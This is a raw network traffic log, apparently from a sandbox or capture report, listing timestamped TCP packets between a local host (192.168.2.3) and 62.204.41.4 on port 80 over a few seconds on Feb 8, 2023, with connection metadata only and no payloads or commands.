Feb 8, 2023 21:32:59.480525970 CET	50040	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.481641054 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.541332960 CET	80	50040	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.541517973 CET	50040	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.543119907 CET	80	50041	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.543237925 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.543687105 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.605117083 CET	80	50041	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.609154940 CET	80	50041	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.609230995 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.716274023 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.726159096 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.778034925 CET	80	50041	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.778192043 CET	50041	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.787549019 CET	80	50042	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.787664890 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.788041115 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.848462105 CET	80	50042	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.851001978 CET	80	50042	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.851160049 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.963711977 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.964401007 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.024743080 CET	80	50042	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.024902105 CET	50042	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.025011063 CET	80	50043	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.025161982 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.026149035 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.086795092 CET	80	50043	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.090549946 CET	80	50043	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.090707064 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.198813915 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.199672937 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.259862900 CET	80	50043	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.260071993 CET	50043	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.260190010 CET	80	50044	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.260313988 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.262908936 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.323676109 CET	80	50044	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.326045036 CET	80	50044	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.326108932 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.437742949 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.438581944 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.498555899 CET	80	50044	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.498650074 CET	50044	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.499058008 CET	80	50045	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.499160051 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.500794888 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.566643000 CET	80	50045	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.566679001 CET	80	50045	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.566757917 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.687953949 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.713612080 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.749557972 CET	80	50045	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.749764919 CET	50045	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.776293993 CET	80	50046	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.776449919 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.777060986 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.848457098 CET	80	50046	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.848515034 CET	80	50046	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:00.848789930 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.963504076 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:00.964392900 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.024959087 CET	80	50047	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.025185108 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.026065111 CET	80	50046	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.026819944 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.026861906 CET	50046	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.087255955 CET	80	50047	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.091001987 CET	80	50047	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.091203928 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.199229002 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.205009937 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.259852886 CET	80	50047	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.260000944 CET	50047	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.266815901 CET	80	50048	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.266964912 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.267354012 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.329104900 CET	80	50048	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.332395077 CET	80	50048	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.332566023 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.448710918 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.449666023 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.510308027 CET	80	50049	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.510602951 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.510665894 CET	80	50048	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.510754108 CET	50048	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.511260033 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.571605921 CET	80	50049	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.573685884 CET	80	50049	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.574506044 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.685919046 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.686644077 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.746656895 CET	80	50049	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.746803999 CET	50049	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.748246908 CET	80	50050	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.748487949 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.748836040 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.810448885 CET	80	50050	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.813494921 CET	80	50050	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.813699961 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.925785065 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.926868916 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.987720966 CET	80	50050	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.987948895 CET	50050	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.989602089 CET	80	50051	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:01.989792109 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:01.990272999 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.053026915 CET	80	50051	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.057045937 CET	80	50051	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.057236910 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.167856932 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.168881893 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.229309082 CET	80	50052	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.229437113 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.230699062 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.230710983 CET	80	50051	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.230787992 CET	50051	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.290994883 CET	80	50052	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.294034004 CET	80	50052	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.294203043 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.402548075 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.403316975 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.463219881 CET	80	50052	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.463474035 CET	50052	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.465046883 CET	80	50053	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.465179920 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.465552092 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.527050972 CET	80	50053	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.529279947 CET	80	50053	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.529412985 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.635869980 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.636818886 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.697544098 CET	80	50053	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.697695017 CET	50053	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.698215008 CET	80	50054	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.698316097 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.698713064 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.762032986 CET	80	50054	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.764348984 CET	80	50054	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.764497995 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.888017893 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.899146080 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.949724913 CET	80	50054	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.949839115 CET	50054	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.961796045 CET	80	50055	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:02.961971998 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:02.962291002 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.024677992 CET	80	50055	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.026889086 CET	80	50055	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.027008057 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.135333061 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.136617899 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.197896957 CET	80	50056	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.197949886 CET	80	50055	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.198069096 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.198090076 CET	50055	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.201021910 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.262391090 CET	80	50056	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.302412033 CET	80	50056	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.302540064 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.422574043 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.423543930 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.484114885 CET	80	50056	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.484246969 CET	50056	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.485023022 CET	80	50057	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.485122919 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.487998962 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.549572945 CET	80	50057	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.551975012 CET	80	50057	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.552077055 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.677181959 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.678045034 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.738480091 CET	80	50058	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.738784075 CET	80	50057	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.738920927 CET	50057	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.740533113 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.745857954 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.807343960 CET	80	50058	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.809408903 CET	80	50058	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.814233065 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.916946888 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.917948008 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.977575064 CET	80	50058	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.978396893 CET	80	50059	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:03.978712082 CET	50058	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.978732109 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:03.983890057 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.044436932 CET	80	50059	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.048372030 CET	80	50059	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.048667908 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.155386925 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.156167984 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.216110945 CET	80	50059	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.216263056 CET	50059	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.218568087 CET	80	50060	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.218714952 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.219259024 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.281656981 CET	80	50060	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.284405947 CET	80	50060	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.284567118 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.402323008 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.403276920 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.464035988 CET	80	50061	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.464173079 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.464646101 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.464745998 CET	80	50060	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.464839935 CET	50060	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.525294065 CET	80	50061	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.527714014 CET	80	50061	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.529038906 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.636516094 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.638200998 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.697437048 CET	80	50061	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.697607994 CET	50061	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.698717117 CET	80	50062	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.698837042 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.699485064 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.760278940 CET	80	50062	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.762595892 CET	80	50062	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.762689114 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.890798092 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.891676903 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.951616049 CET	80	50062	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.951812029 CET	50062	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.953151941 CET	80	50063	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:04.953305960 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:04.954076052 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.015554905 CET	80	50063	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.018045902 CET	80	50063	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.018198013 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.137306929 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.138092995 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.199048996 CET	80	50063	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.199188948 CET	50063	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.200293064 CET	80	50064	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.200426102 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.202732086 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.265052080 CET	80	50064	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.269459009 CET	80	50064	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.269664049 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.386318922 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.387274027 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.448682070 CET	80	50065	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.448731899 CET	80	50064	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.448920965 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.448970079 CET	50064	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.449264050 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.510472059 CET	80	50065	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.513484001 CET	80	50065	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.513619900 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.632607937 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.633253098 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.692837954 CET	80	50066	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.693042040 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.693953037 CET	80	50065	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.694051027 CET	50065	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.694509029 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.754111052 CET	80	50066	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.756572008 CET	80	50066	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.756731033 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.870095968 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.870928049 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.929697990 CET	80	50066	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.929866076 CET	50066	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.931416035 CET	80	50067	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.931525946 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.932411909 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:05.993002892 CET	80	50067	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.995294094 CET	80	50067	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:05.995481014 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.104420900 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.105492115 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.165141106 CET	80	50067	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.165219069 CET	50067	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.166996956 CET	80	50068	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.167098045 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.167681932 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.229846954 CET	80	50068	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.233010054 CET	80	50068	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.233169079 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.379968882 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.381660938 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.442853928 CET	80	50068	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.442991018 CET	80	50069	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.443023920 CET	50068	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.445751905 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.449832916 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.511605024 CET	80	50069	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.514261007 CET	80	50069	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.514380932 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.620476007 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.625308037 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.682015896 CET	80	50069	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.682749987 CET	50069	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.686825991 CET	80	50070	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.688998938 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.689347982 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.750761032 CET	80	50070	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.753258944 CET	80	50070	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.753810883 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.870714903 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.885662079 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.932506084 CET	80	50070	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.932641029 CET	50070	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.945233107 CET	80	50071	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:06.945350885 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:06.945888042 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.005474091 CET	80	50071	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.008430958 CET	80	50071	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.008693933 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.120263100 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.121148109 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.180114031 CET	80	50071	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.181231976 CET	50071	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.182775021 CET	80	50072	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.182930946 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.195107937 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.258120060 CET	80	50072	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.262188911 CET	80	50072	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.266967058 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.371933937 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.372900009 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.433847904 CET	80	50072	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.433996916 CET	50072	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.435508966 CET	80	50073	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.435641050 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.436064959 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.504033089 CET	80	50073	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.504116058 CET	80	50073	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.504282951 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.620975971 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.621777058 CET	50074	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.682729006 CET	80	50074	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.683739901 CET	80	50073	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.683942080 CET	50073	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.683973074 CET	50074	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.684649944 CET	50074	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.745223045 CET	80	50074	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.747404099 CET	80	50074	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.749170065 CET	50074	80	192.168.2.3	62.204.41.4
